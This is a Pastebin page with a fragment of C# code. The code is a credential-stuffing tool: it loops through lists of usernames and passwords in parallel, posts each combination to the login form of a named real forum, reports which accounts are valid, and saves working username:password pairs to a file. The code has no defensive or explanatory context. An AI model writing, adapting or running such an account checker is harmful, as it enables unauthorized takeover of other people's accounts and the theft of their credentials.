Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Parallel.For(0, log.Length, new ParallelOptions(), i =>
- {
- Parallel.For(0, pas.Length + 1, j =>
- {
- using (WebClient test = new WebClient())
- {
- test.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
- string Parameters = "";
- string HtmlResult = "";
- if (j == pas.Length){
- WriteResult(log, i, log, i, test, URI, clear, out Parameters, out HtmlResult,
- ref check, ref good);
- }
- else{
- WriteResult(log, i, pas, j, test, URI, clear, out Parameters, out HtmlResult,
- ref check, ref good);
- }
- }
- });
- });
- Console.ReadKey();
- }
- private static void WriteResult(string[] log, int i, string[] pas, int j, WebClient test, string URI, int clear,
- out string Parameters, out string HtmlResult, ref int check, ref int good){
- Parameters = "username=" + log[i] + "&password=" + pas[j] +
- "&submit=Login&action=do_login&url=https%3A%2F%2Faimware.net%2Fforum%2Findex.php";
- HtmlResult = test.UploadString(URI, Parameters);
- {
- if (HtmlResult.Contains("Please correct the following")){
- if (clear == 200){
- Console.Clear();
- }
- check++;
- clear++;
- Console.WriteLine(
- "Account " + log[i] + ":" + pas[j] + " is invalid" +
- "\nchecked variants: " + check + " Good: " + good);
- }
- else{
- good++;
- Console.WriteLine(
- "Account " + log[i] + ":" + pas[j] + " is valid " +
- "\nchecked variants: " + check + " Good: " + good);
- using (var sw =
- File.AppendText(Environment.CurrentDirectory + @"\good.txt")){
- sw.WriteLine(log[i] + ":" + pas[j] + "\n");
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement